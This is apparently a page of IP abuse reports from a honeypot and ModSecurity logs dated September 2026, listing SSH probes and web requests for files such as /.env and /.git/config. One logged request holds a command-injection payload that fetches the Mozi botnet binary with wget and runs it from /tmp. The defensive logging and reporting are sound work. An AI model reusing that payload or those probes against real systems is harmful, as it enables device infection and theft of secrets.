πΈπ¬
162.158.108.65
20 Sep 2026
Web App Attack, ModSecurity blocked:
2026/09/20 09:53:44 [error] 66592#66592: *18 [client 162.158.10 ...
show more
Web App Attack, ModSecurity blocked:
2026/09/20 09:53:44 [error] 66592#66592: *18 [client 162.158.108.65] ModSecurity: Access denied with code 403 (phase 1). [msg "Access denied. Attempted breach of vulnerable system files."] request: "GET /.git/config HTTP/1.1"
show less
Web App Attack
πΈπ¬
152.42.176.167
20 Sep 2026
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
152.42.176.167 - - [20/Sep/20 ...
show more
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
152.42.176.167 - - [20/Sep/2026:09:53:13 +0200] "GET /api/v1/version HTTP/1.1" 403 168 "-" "Mozilla/5.0"
show less
Web App Attack
π¨π±
148.227.115.166
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 08:37:13 server1 sshd-session[64218]: Connection closed by 148.22 ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 08:37:13 server1 sshd-session[64218]: Connection closed by 148.227.115.166 port 6444
show less
Port Scan
SSH
πΊπΈ
54.90.65.192
20 Sep 2026
Web App Attack, ModSecurity blocked:
2026/09/20 07:52:12 [error] 51580#51580: *27 [client 54.90.65.1 ...
show more
Web App Attack, ModSecurity blocked:
2026/09/20 07:52:12 [error] 51580#51580: *27 [client 54.90.65.192] ModSecurity: Access denied with code 403 (phase 1). [msg "Access denied. Global WordPress REST API restriction active."] request: "GET /wp-json/?_fields=name,description,url,home,timezone_string,gmt_offset,namespaces,site_icon_url,page_on_front,show_on_front HTTP/1.1"
show less
Web App Attack
πΊπΈ
3.82.60.79
20 Sep 2026
Web App Attack, ModSecurity blocked:
2026/09/20 07:25:56 [error] 51580#51580: *25 [client 3.82.60.79 ...
show more
Web App Attack, ModSecurity blocked:
2026/09/20 07:25:56 [error] 51580#51580: *25 [client 3.82.60.79] ModSecurity: Access denied with code 403 (phase 1). [msg "Access denied. Global WordPress REST API restriction active."] request: "GET /wp-json/?_fields=name,description,url,home,timezone_string,gmt_offset,namespaces,site_icon_url,page_on_front,show_on_front HTTP/1.1"
show less
Web App Attack
π¦π·
200.229.253.225
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 06:54:52 server1 sshd-session[60951]: Connection closed by 200.22 ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 06:54:52 server1 sshd-session[60951]: Connection closed by 200.229.253.225 port 36592
show less
Port Scan
SSH
π¦π·
190.110.178.77
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 06:51:03 server1 sshd-session[60927]: Connection closed by 190.11 ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 06:51:03 server1 sshd-session[60927]: Connection closed by 190.110.178.77 port 62022
show less
Port Scan
SSH
πΉπΌ
198.235.24.88
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 06:42:00 server1 sshd-session[60593]: Connection reset by 198.235 ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 06:42:00 server1 sshd-session[60593]: Connection reset by 198.235.24.88 port 62438 [preauth]
show less
Port Scan
SSH
πΊπ¦
5.58.103.49
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 06:24:47 server1 sshd-session[59975]: Connection closed by 5.58.1 ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 06:24:47 server1 sshd-session[59975]: Connection closed by 5.58.103.49 port 9820
show less
Port Scan
SSH
π³π±
176.65.148.68
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 06:17:34 server1 sshd-session[59791]: Connection closed by 176.65 ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 06:17:34 server1 sshd-session[59791]: Connection closed by 176.65.148.68 port 34998
show less
Port Scan
SSH
π¬π§
90.208.248.1
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 05:58:38 server1 sshd-session[59162]: Connection closed by 90.208 ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 05:58:38 server1 sshd-session[59162]: Connection closed by 90.208.248.1 port 43466
show less
Port Scan
SSH
π«π·
195.177.94.18
20 Sep 2026
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
195.177.94.18 - - [20/Sep/202 ...
show more
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
195.177.94.18 - - [20/Sep/2026:05:16:14 +0200] "GET /.env HTTP/1.1" 403 168 "-" "Mozilla/5.0 (Linux; Android 8.0.0; SM-G930F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36"
show less
Web App Attack
π§π·
179.100.14.85
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 05:10:14 server1 sshd-session[57765]: Connection closed by 179.10 ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 05:10:14 server1 sshd-session[57765]: Connection closed by 179.100.14.85 port 33280
show less
Port Scan
SSH
π§πͺ
104.155.46.162
20 Sep 2026
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
104.155.46.162 - - [20/Sep/20 ...
show more
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
104.155.46.162 - - [20/Sep/2026:04:42:23 +0200] "GET / HTTP/1.1" 403 168 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
show less
Web App Attack
π§πͺ
34.76.156.75
20 Sep 2026
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
34.76.156.75 - - [20/Sep/2026 ...
show more
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
34.76.156.75 - - [20/Sep/2026:04:20:47 +0200] "GET / HTTP/1.1" 403 168 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
show less
Web App Attack
π§πͺ
207.175.104.222
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 04:07:21 server1 sshd-session[55671]: Connection closed by 207.17 ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 04:07:21 server1 sshd-session[55671]: Connection closed by 207.175.104.222 port 3464
show less
Port Scan
SSH
π§πͺ
207.175.45.86
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 04:07:09 server1 sshd-session[55600]: Failed password for admin f ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 04:07:09 server1 sshd-session[55600]: Failed password for admin from 207.175.45.86 port 37074 ssh2
show less
Port Scan
SSH
π§πͺ
207.175.154.123
20 Sep 2026
Web App Attack - Scanning for vulnerable files:
207.175.154.123 - - [20/Sep/2026:04:07:09 +0200] "GE ...
show more
Web App Attack - Scanning for vulnerable files:
207.175.154.123 - - [20/Sep/2026:04:07:09 +0200] "GET / HTTP/1.1" 403 168 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
show less
Web App Attack
πΊπΈ
147.182.210.195
20 Sep 2026
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
147.182.210.195 - - [20/Sep/2 ...
show more
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
147.182.210.195 - - [20/Sep/2026:04:04:26 +0200] "GET / HTTP/1.1" 403 168 "-" "custom-client/1.0"
show less
Web App Attack
πΊπΈ
159.223.98.4
20 Sep 2026
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
159.223.98.4 - - [20/Sep/2026 ...
show more
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
159.223.98.4 - - [20/Sep/2026:04:04:25 +0200] "GET / HTTP/1.1" 403 168 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36"
show less
Web App Attack
πΊπΈ
47.42.234.181
20 Sep 2026
Web App Attack - Scanning for vulnerable files:
47.42.234.181 - - [20/Sep/2026:03:52:14 +0200] "GET ...
show more
Web App Attack - Scanning for vulnerable files:
47.42.234.181 - - [20/Sep/2026:03:52:14 +0200] "GET / HTTP/1.0" 403 168 "-" "https://mob.army/medical - adversarial NEURO-weapons have been deployed and are rapidly proliferating throughout NATO"
show less
Web App Attack
πΊπ¦
185.96.30.2
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 02:59:55 server1 sshd-session[53314]: Connection closed by 185.96 ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 02:59:55 server1 sshd-session[53314]: Connection closed by 185.96.30.2 port 49351
show less
Port Scan
SSH
π΅π°
223.123.44.116
20 Sep 2026
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
223.123.44.116 - - [20/Sep/20 ...
show more
Web App Port Scaning, Access Not Existent Virtual Server. (honeypot)::
223.123.44.116 - - [20/Sep/2026:02:48:32 +0200] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 150 "-" "-"
show less
Web App Attack
π§π·
45.227.215.51
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 02:32:18 server1 sshd-session[52543]: Connection closed by 45.227 ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 02:32:18 server1 sshd-session[52543]: Connection closed by 45.227.215.51 port 11856
show less
Port Scan
SSH
π¬π§
185.65.166.245
20 Sep 2026
SSH (tcp/22) Honeypot Trap:
Sep 20 02:19:54 server1 sshd-session[52073]: Connection closed by 185.65 ...
show more
SSH (tcp/22) Honeypot Trap:
Sep 20 02:19:54 server1 sshd-session[52073]: Connection closed by 185.65.166.245 port 63547
show less
Port Scan
SSH